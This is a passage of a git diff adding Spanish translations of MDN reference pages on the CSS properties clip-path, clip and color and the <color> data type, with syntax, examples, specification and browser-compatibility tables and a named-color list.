+  &lt;option value="inset(20px round 20px)"&gt;inset&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var clipPathSelect = document.getElementById("clipPath");
+clipPathSelect.addEventListener("change", function (evt) {
+  document.getElementById("clipped").style.clipPath = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Live_sample", 230, 250)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Extends its application to HTML elements</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition (applies to SVG elements only)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.clip-path")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute/clip-rule">clip-rule</a>, {{cssxref("mask")}}, {{cssxref("filter")}}</li>
+ <li><a href="https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/">CSS Shapes, clipping and masking – and how to use them</a></li>
+ <li><a href="/en-US/docs/Applying_SVG_effects_to_HTML_content">Applying SVG effects to HTML content</a></li>
+ <li>{{SVGAttr("clip-path")}} SVG attribute</li>
+</ul>
diff --git a/files/es/web/css/clip/index.html b/files/es/web/css/clip/index.html
new file mode 100644
index 0000000000..73098f51d9
--- /dev/null
+++ b/files/es/web/css/clip/index.html
@@ -0,0 +1,148 @@
+---
+title: clip
+slug: Web/CSS/clip
+translation_of: Web/CSS/clip
+---
+<div>
+<div>{{CSSRef}}{{deprecated_header}}</div>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad de CSS <code>clip</code> define qué porción de un elemento es visible. La propiedad <code>clip</code> se aplica solamente sobre elementos con {{ cssxref("position","position:absolute") }} o {{cssxref("position", "position:fixed")}}.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> This property is deprecated. Use {{cssxref("clip-path")}} instead.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintaxis formal</a>: {{csssyntax("clip")}}
+</pre>
+
+<pre>clip: rect(1px, 10em, 3rem, 2ch)
+clip: auto
+
+clip: inherit</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>Una forma rectangular del formulario
+ <pre style="margin: 0;">rect(&lt;top&gt;, &lt;right&gt;, &lt;bottom&gt;, &lt;left&gt;)   /* sintaxis estándar */
+</pre>
+ o
+
+ <pre style="margin: 0;">rect(&lt;top&gt; &lt;right&gt; &lt;bottom&gt; &lt;left&gt;)      /* sintaxis compatible inversa */</pre>
+ donde<code>&lt;top&gt;</code> y <code>&lt;bottom&gt;</code> especifícan desplazamientos de la <em>esquina del borde superior</em> de la caja, y <code>&lt;right&gt;</code>, y <code>&lt;left&gt;</code> especifican desplazamientos de la <em>esquina del borde izquiedo</em> de la caja.</dd>
+ <dd><code>&lt;top&gt;</code>, <code>&lt;right&gt;</code>, <code>&lt;bottom&gt;</code>, y <code>&lt;left&gt;</code> pueden cada uno tenerun valor {{cssxref("&lt;length&gt;")}} o <code> auto</code>.</dd>
+ <dt><code>auto</code></dt>
+ <dd>El elemento no se recorta (valor por defecto)</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">p { border:dotted;  position:relative; }
+
+#img2 {
+  position:absolute;  left:263px;
+
+  clip: rect(40px, 200px, 150px, 30px);
+  /* sintáxis estándar, no soportada por Internet Explorer 4-7 */
+}
+
+#img3 {
+  position: absolute; left:526px;
+
+  clip: rect(40px  200px  150px  30px);
+  /* sintáxis no-estándar, pero soportada por todos los exploradores importantes incluyendo Firefox y IE */
+}</pre>
+
+<p style="position: relative; border: dotted;"><img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg"> <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style=""> <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style=""></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'clip') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Define <code>clip</code> como animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visufx.html#clipping', 'clip') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Soporte básico</td>
+   <td rowspan="2">1.0</td>
+   <td rowspan="2">1.0 (1.0)</td>
+   <td>4.0</td>
+   <td rowspan="2">7.0</td>
+   <td rowspan="2">1.0 (85)</td>
+  </tr>
+  <tr>
+   <td>8.0<br>
+    En esta versión es soportada la sintaxis correcta con coma.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{ cssxref("text-overflow") }}, {{ cssxref("white-space") }}, {{ Cssxref("overflow-x") }}, {{ Cssxref("overflow-y") }}, {{ Cssxref("overflow") }}, {{ Cssxref("display") }}, {{ Cssxref("position") }}</li>
+</ul>
diff --git a/files/es/web/css/color/index.html b/files/es/web/css/color/index.html
new file mode 100644
index 0000000000..d5d408265f
--- /dev/null
+++ b/files/es/web/css/color/index.html
@@ -0,0 +1,260 @@
+---
+title: color
+slug: Web/CSS/color
+tags:
+  - CSS
+  - Colores CSS
+  - Colores HTML
+  - Diseño
+  - Estilo HTML
+  - Estilo Texto
+  - Estilos HTML
+  - Propiedad CSS
+  - Referencia
+  - Referencia_CSS
+  - Web
+  - color
+translation_of: Web/CSS/color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La propiedad de CSS <strong><code>color</code></strong> selecciona el <a href="/en-US/docs/Web/CSS/color_value">valor de color</a> de primer plano del contenido de elemento de texto y <a href="/en-US/docs/Web/CSS/text-decoration">decoraciones de texto</a>. Tambien establece el valor {{cssxref("currentcolor")}} </span> <span id="result_box" lang="es"><span>que se puede usar como un valor indirecto en otras propiedades, y es el valor predeterminado para otras propiedades de color, como</span></span> <span class="seoSummary"> {{cssxref("border-color")}}.</span></p>
+
+<p><span id="result_box" lang="es"><span>Para obtener una descripción general del uso del color en HTML, consulte</span></span> <a href="/en-US/docs/Web/HTML/Applying_color">Aplicando color a los elementos HTML mediante CSS</a>.</p>
+
+<pre class="brush: css no-line-numbers">/* Valores de palabras clave */
+color: currentcolor;
+
+/* Valores &lt;named-color&gt; */
+color: red;
+color: orange;
+color: tan;
+color: rebeccapurple;
+
+/* Valores &lt;hex-color&gt; */
+color: #090;
+color: #009900;
+color: #090a;
+color: #009900aa;
+
+/* Valores &lt;rgb()&gt; */
+color: rgb(34, 12, 64, 0.6);
+color: rgba(34, 12, 64, 0.6);
+color: rgb(34 12 64 / 0.6);
+color: rgba(34 12 64 / 0.3);
+color: rgb(34.0 12 64 / 60%);
+color: rgba(34.6 12 64 / 30%);
+
+/* Valores &lt;hsl()&gt; */
+color: hsl(30, 100%, 50%, 0.6);
+color: hsla(30, 100%, 50%, 0.6);
+color: hsl(30 100% 50% / 0.6);
+color: hsla(30 100% 50% / 0.6);
+color: hsl(30.0 100% 50% / 60%);
+color: hsla(30.2 100% 50% / 60%);
+
+/* Valores Globales */
+color: inherit;
+color: initial;
+color: unset;
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Ten en cuenta que el valor debe ser un </span></span>{{cssxref("color")}} <span class="short_text" lang="es"><span>uniforme</span></span> . No puede ser un {{cssxref("&lt;gradient&gt;")}}, que es en realidad un tipo de {{cssxref("&lt;image&gt;")}}.</p>
+
+<div class="hidden" id="color">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="cell"&gt;
+      Keyword values
+      &lt;p class="c1"&gt;color: currentcolor&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &amp;lt;named-color&amp;gt; values
+      &lt;p class="c2"&gt;color: red&lt;/p&gt;
+      &lt;p class="c3"&gt;color: orange&lt;/p&gt;
+      &lt;p class="c4"&gt;color: tan&lt;/p&gt;
+      &lt;p class="c5"&gt;color: rebeccapurple&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &amp;lt;hex-color&amp;gt; values
+      &lt;p class="c6"&gt;color: #090&lt;/p&gt;
+      &lt;p class="c7"&gt;color: #009900&lt;/p&gt;
+      &lt;p class="c8"&gt;color: #090a&lt;/p&gt;
+      &lt;p class="c9"&gt;color: #009900aa&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &amp;lt;rgb()&amp;gt; values
+      &lt;p class="c10"&gt;color: rgb(34, 12, 64, 0.6)&lt;/p&gt;
+      &lt;p class="c11"&gt;color: rgba(34, 12, 64, 0.6)&lt;/p&gt;
+      &lt;p class="c12"&gt;color: rgb(34 12 64 / 0.6)&lt;/p&gt;
+      &lt;p class="c13"&gt;color: rgba(34 12 64 / 0.6)&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &amp;lt;hsl()&amp;gt; values
+      &lt;p class="c14"&gt;color: hsl(30, 100%, 50%, 0.6)&lt;/p&gt;
+      &lt;p class="c15"&gt;color: hsla(30, 100%, 50%, 0.6)&lt;/p&gt;
+      &lt;p class="c16"&gt;color: hsl(30 100% 50% / 0.6)&lt;/p&gt;
+      &lt;p class="c17"&gt;color: hsla(30 100% 50% / 0.6)&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: left;
+  font-style: italic;
+}
+
+p {
+  font-size: 1rem;
+  font-style: normal;
+  padding: 0 .5em .5em;
+  margin: 0;
+}
+
+p:first-child {
+  padding-top: .5em;
+}
+
+/* Valores de palabras clave */
+.c1 { color: currentcolor; }
+
+/*  values */
+.c2 { color: red; }
+.c3 { color: orange; }
+.c4 { color: tan; }
+.c5 { color: rebeccapurple; }
+
+/*  valores */
+.c6 { color: #090; }
+.c7 { color: #009900; }
+.c8 { color: #090A; }
+.c9 { color: #009900AA; }
+
+/*  valores */
+.c10 { color: rgb(34, 12, 64, 0.6); }
+.c11 { color: rgba(34, 12, 64, 0.6); }
+.c12 { color: rgb(34 12 64 / 0.6); }
+.c13 { color: rgba(34 12 64 / 0.6); }
+
+/*  valores */
+.c14 { color: hsl(30, 100%, 50%, 0.6); }
+.c15 { color: hsla(30, 100%, 50%, 0.6); }
+.c16 { color: hsl(30 100% 50% / 0.6); }
+.c17 { color: hsla(30 100% 50% / 0.6); }</pre>
+</div>
+
+<p>{{EmbedLiveSample("color", "100%", 630, "", "", "example-outcome-frame")}}</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>color</code> esta especificada como un solo un valor de {{cssxref("&lt;color&gt;")}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd><span id="result_box" lang="es"><span>Establece el color de las partes textuales y decorativas del elemento.</span></span></dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><span id="result_box" lang="es"><span>Las siguientes son todas las formas de hacer que el texto de un párrafo sea rojo:</span></span></p>
+
+<pre class="brush: css">p { color: red; }
+p { color: #f00; }
+p { color: #ff0000; }
+p { color: rgb(255,0,0); }
+p { color: rgb(100%, 0%, 0%); }
+p { color: hsl(0, 100%, 50%); }
+
+/* 50% translúcido */
+p { color: rgba(255, 0, 0, 0.5); }
+p { color: hsla(0, 100%, 50%, 0.5); }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#the-color-property', 'color')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>
+    <p><span class="short_text" id="result_box" lang="es"><span>Agrega sintaxis sin comas para las funciones</span></span> <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code>, y <code>hsla()</code>.  <span class="short_text" id="result_box" lang="es"><span>Permite valores alfa en</span></span> <code>rgb()</code> y <code>hsl()</code>, <span class="short_text" id="result_box" lang="es"><span>convirtiéndose</span></span> <code>rgba()</code> y <code>hsla()</code> <span class="short_text" id="result_box" lang="es"><span>en alias (obsoletos) para ellos.</span></span><br>
+     <span class="short_text" id="result_box" lang="es"><span>Agrega una palabra clave de color</span></span> <code>rebeccapurple</code>.<br>
+     <span id="result_box" lang="es"><span>Agrega valores de color hexadecimal de 4 y 8 dígitos, donde el último dígito representa el valor alfa.</span></span><br>
+     Añade las funciones <code>hwb()</code>, <code>device-cmyk()</code>, y <code>color()</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'color')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Define <code>color</code> como animable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td><span id="result_box" lang="es"><span>Desprecia los colores del sistema.</span> <span>Agrega colores SVG.</span></span> Agrega las funciones <code>rgba()</code>, <code>hsl()</code>, y <code>hsla()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#colors', 'color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Añade el color <code>orange</code> y los colores del sistema.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span>El tipo de datos de</span></span>  {{cssxref("&lt;color&gt;")}}</li>
+ <li><span class="short_text" id="result_box" lang="es"><span>Otras propiedades relacionadas con el color:</span></span> {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, y {{cssxref("column-rule-color")}}</li>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Aplicar color a elementos HTML usando CSS</a></li>
+</ul>
diff --git a/files/es/web/css/color_value/index.html b/files/es/web/css/color_value/index.html
new file mode 100644
index 0000000000..5e8fde3b08
--- /dev/null
+++ b/files/es/web/css/color_value/index.html
@@ -0,0 +1,1416 @@
+---
+title: <color>
+slug: Web/CSS/color_value
+tags:
+  - CSS
+  - Layout
+  - Necesita Compatibilidad con Navegadores Móviles
+  - Referencia
+  - Tipos de datos CSS
+  - Web
+translation_of: Web/CSS/color_value
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">El tipo de datos </font></code><a href="/en-US/docs/Web/CSS">CSS</a><code><font face="Open Sans, Arial, sans-serif"> </font>&lt;color&gt;</code> denota un color en el <a class="external" href="http://en.wikipedia.org/wiki/SRGB">sRGB color space</a>. Un color puede ser descrito de cualquiera de las siguiente maneras:</p>
+
+<ul>
+ <li>Usando una <em>palabra clave</em>.</li>
+ <li>Usando el sistema  <a class="external" href="http://en.wikipedia.org/wiki/RGB_color_model#Geometric_representation">RGB cubic-coordinate</a>  (usando  #-hexadecimal o las notaciones funcionales <code>rgb()</code> y <code>rgba()</code> )</li>
+ <li>Usando el sistema <a class="external" href="http://en.wikipedia.org/wiki/HSL_and_HSV">HSL cylindrical-coordinate</a>  (usando las notaciones funcionales <code>hsl()</code> y <code>hsla() </code>)</li>
+</ul>
+
+<p>Hay que destacar que la lista de valores de color aceptados ha ido creciendo conforme la especificación evolucionaba, para acabar con la lista de colores de CSS3.</p>
+
+<p>Asociado con el color en el espacio sRGB, un valor <code>&lt;color&gt;</code> también consiste en una coordenada <a class="external" href="http://en.wikipedia.org/wiki/Alpha_compositing">alpha-channel</a> o valor de transparencia, indicando cómo se debe <a class="external" href="http://www.w3.org/TR/2003/REC-SVG11-20030114/masking.html#SimpleAlphaBlending">composite</a> o mezclar el color con su color de fondo.</p>
+
+<p>Aunque los valores de colores en CSS son definidos de manera precisa existe la posibilidad de que parezcan distintos en dispositivos diferentes. La mayoría de ellos no están calibrados y algunos navegadores no soportan los <a class="external" href="http://en.wikipedia.org/wiki/ICC_profile">color profile</a> de algunos dispositivos de salidas. En esta situación el color puede variar bastante.</p>
+
+<div class="note"><strong>Notas:</strong> La recomendación <a class="external" href="http://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> de la W3C aconseja a los autores web de manera clara que no usen  <em>color </em>como el único medido para especificar una información, acción o resultado concreto. Algunos usuarios tienen problemas para diferenciar colores y existe la posibilidad de que la información transmitida no sea captada. Por supuesto esto no impide que se use el color, sólo su uso como único medio para describir alguna información.</div>
+
+<h2 id="Interpolación">Interpolación</h2>
+
+<p>Los valores del tipo de datos CSS <code>&lt;color&gt;</code> pueden ser interpolados para lograr animaciones o para crear valores <code>&lt;gradient&gt;. </code>En este caso son interpolados en cada uno de sus componentes rojo, verde y azul, conteniendo, cada uno de ellos, un número decimal con coma flotante.  Debe tenerse en cuenta que la interpolación del color sucede en el <a class="external" href="http://www.gimp.org/docs/plug-in/appendix-alpha.html">alpha-premultiplied sRGBA color space</a> para evitar que aparezcan grises inesperados. En las animaciones, la velocidad de la interpolación viene determinada por la <a href="/en-US/docs/Web/CSS/timing-function">timing function</a> asociada con la animación.</p>
+
+<h2 id="Valores">Valores</h2>
+
+<p>Hay varias formas de describir un valor <code>&lt;color&gt;</code>.</p>
+
+<h3 id="Palabras_clave_de_colores">Palabras clave de colores</h3>
+
+<p>Las palabras clave de colores son identificadores en los que no hay distinción entre mayúsculas y minúsculas y que sirven para representar un color concreto, por ejemplo <code>red, blue, brown, lightseagreen</code>. El nombre describe el color aunque es mayormente artificial. La lista de valores válidos cambia un montón de una especificación a otra:</p>
+
+<ul>
+ <li>CSS Nivel 1 sólo acepta 16 colores básicos, los llamados <em>colores</em> <em>VGA </em>ya que son tomados de los colores que son capaces de mostrar las trajetas gráficas <a class="external" href="http://en.wikipedia.org/wiki/VGA">VGA</a>.</li>
+ <li>CSS Nivel 2 añadió la palabra clave <code>orange</code>.</li>
+ <li>Desde el principio los navegadores aceptarons otros colores, sobre todo la lista de colores X11 con unas pocas diferencias. ya que, los primeros navegadores, eran en su mayoría aplicaciones X11. SVG 1.0  fué el primer estándar  que definió formalmente estas palabras clave. Con frecuencia nos referimos a ello como la lista extendida de colores , los colores X11 o los colores SVG.</li>
+</ul>
+
+<p>Hay algunas advertencias a tener en cuenta al usar las palabras clave relativas a colores:</p>
+
+<ul>
+ <li>A excepción de los 16 colores básicos, que son comunes en HTML, los otros no pueden ser usados en HTML. HTML convertirá estos valores desconocidos usando un algoritmo específico y se obtendrá colores totalmente diferentes. Estas palabras clave deberían sólo usarse en SGV y CSS.</li>
+ <li>Colores desconocidos hacen que la propiedad CSS sea declarada inválida. Las propiedades inválidas son ignoradas y , por tanto, el color no tendrá efecto. Esto es un comportamiento diferente al del HTML</li>
+ <li>Ninguna palabra clave de color tiene transparencia en CSS, son colores planos y sólidos.</li>
+ <li>Algunas referencian el mismo color:
+  <ul>
+   <li><code>darkgray</code> / <code>darkgrey</code></li>
+   <li><code>darkslategray</code> / <code>darkslategrey</code></li>
+   <li><code>dimgray</code> / <code>dimgrey</code></li>
+   <li><code>lightgray</code> / <code>lightgrey</code></li>
+   <li><code>lightslategray</code> / <code>lightslategrey</code></li>
+   <li><code>gray</code> / <code>grey</code></li>
+   <li><code>slategray</code> / <code>slategrey</code></li>
+  </ul>
+ </li>
+ <li>Aunque las palabras clave de colores han sido tomadas de los nombres de colores usuales en X11, el color puede ser ligeramente diferente al color en X11 ya que son adaptados por el fabricante para un hardware específico.</li>
+</ul>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Color</th>
+   <th scope="col">Palabra clave</th>
+   <th scope="col">Valor RGB hexadecimal</th>
+   <th scope="col">Muestra</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="position: relative;">
+   <td rowspan="16">{{SpecName("CSS1")}}</td>
+   <td style="background: #000;"> </td>
+   <td style="text-align: center;"><code>black</code></td>
+   <td><code>#000000</code></td>
+   <td style="background: black;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #C0C0C0;"> </td>
+   <td style="text-align: center;"><code>silver</code></td>
+   <td><code>#c0c0c0</code></td>
+   <td style="background: silver;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #808080;"> </td>
+   <td style="text-align: center;"><code>gray</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: gray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #FFF;"> </td>
+   <td style="text-align: center;"><code>white</code></td>
+   <td><code>#ffffff</code></td>
+   <td style="background: white;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #800000;"> </td>
+   <td style="text-align: center;"><code>maroon</code></td>
+   <td><code>#800000</code></td>
+   <td style="background: maroon;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #F00;"> </td>
+   <td style="text-align: center;"><code>red</code></td>
+   <td><code>#ff0000</code></td>
+   <td style="background: red;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #800080;"> </td>
+   <td style="text-align: center;"><code>purple</code></td>
+   <td><code>#800080</code></td>
+   <td style="background: purple;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #F0F;"> </td>
+   <td style="text-align: center;"><code>fuchsia</code></td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: fuchsia;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #008000;"> </td>
+   <td style="text-align: center;"><code>green</code></td>
+   <td><code>#008000</code></td>
+   <td style="background: green;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #0F0;"> </td>
+   <td style="text-align: center;"><code>lime</code></td>
+   <td><code>#00ff00</code></td>
+   <td style="background: lime;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #808000;"> </td>
+   <td style="text-align: center;"><code>olive</code></td>
+   <td><code>#808000</code></td>
+   <td style="background: olive;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #FF0;"> </td>
+   <td style="text-align: center;"><code>yellow</code></td>
+   <td><code>#ffff00</code></td>
+   <td style="background: yellow;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #000080;"> </td>
+   <td style="text-align: center;"><code>navy</code></td>
+   <td><code>#000080</code></td>
+   <td style="background: navy;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #00F;"> </td>
+   <td style="text-align: center;"><code>blue</code></td>
+   <td><code>#0000ff</code></td>
+   <td style="background: blue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #008080;"> </td>
+   <td style="text-align: center;"><code>teal</code></td>
+   <td><code>#008080</code></td>
+   <td style="background: teal;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #0FF;"> </td>
+   <td style="text-align: center;"><code>aqua</code></td>
+   <td><code>#00ffff</code></td>
+   <td style="background: aqua;"> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td style="background: #FFA500;"> </td>
+   <td style="text-align: center;"><code>orange</code></td>
+   <td><code>#ffa500</code></td>
+   <td style="background: orange;"> </td>
+  </tr>
+  <tr>
+   <td rowspan="128">{{SpecName("CSS3 Colors")}}</td>
+   <td style="background: #f0f8ff;"> </td>
+   <td style="text-align: center;"><code>aliceblue</code></td>
+   <td><code>#f0f8ff</code></td>
+   <td style="background: aliceblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #faebd7;"> </td>
+   <td style="text-align: center;"><code>antiquewhite</code></td>
+   <td><code>#faebd7</code></td>
+   <td style="background: antiquewhite;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #7fffd4;"> </td>
+   <td style="text-align: center;"><code>aquamarine</code></td>
+   <td><code>#7fffd4</code></td>
+   <td style="background: aquamarine;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f0ffff;"> </td>
+   <td style="text-align: center;"><code>azure</code></td>
+   <td><code>#f0ffff</code></td>
+   <td style="background: azure;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f5f5dc;"> </td>
+   <td style="text-align: center;"><code>beige</code></td>
+   <td><code>#f5f5dc</code></td>
+   <td style="background: beige;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4c4;"> </td>
+   <td style="text-align: center;"><code>bisque</code></td>
+   <td><code>#ffe4c4</code></td>
+   <td style="background: bisque;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffebcd;"> </td>
+   <td style="text-align: center;"><code>blanchedalmond</code></td>
+   <td><code>#ffe4c4</code></td>
+   <td style="background: blanchedalmond;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #8a2be2;"> </td>
+   <td style="text-align: center;"><code>blueviolet</code></td>
+   <td><code>#8a2be2</code></td>
+   <td style="background: blueviolet;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #a52a2a;"> </td>
+   <td style="text-align: center;"><code>brown</code></td>
+   <td><code>#a52a2a</code></td>
+   <td style="background: brown;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #deb887;"> </td>
+   <td style="text-align: center;"><code>burlywood</code></td>
+   <td><code>#deb887</code></td>
+   <td style="background: burlywood;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #5f9ea0;"> </td>
+   <td style="text-align: center;"><code>cadetblue</code></td>
+   <td><code>#5f9ea0</code></td>
+   <td style="background: cadetblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #7fff00;"> </td>
+   <td style="text-align: center;"><code>chartreuse</code></td>
+   <td><code>#7fff00</code></td>
+   <td style="background: chartreuse;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #d2691e;"> </td>
+   <td style="text-align: center;"><code>chocolate</code></td>
+   <td><code>#d2691e</code></td>
+   <td style="background: chocolate;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ff7f50;"> </td>
+   <td style="text-align: center;"><code>coral</code></td>
+   <td><code>#ff7f50</code></td>
+   <td style="background: coral;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #6495ed;"> </td>
+   <td style="text-align: center;"><code>cornflowerblue</code></td>
+   <td><code>#6495ed</code></td>
+   <td style="background: cornflowerblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fff8dc;"> </td>
+   <td style="text-align: center;"><code>cornsilk</code></td>
+   <td><code>#fff8dc</code></td>
+   <td style="background: cornsilk;"> </td>
+  </tr>
+  <tr>
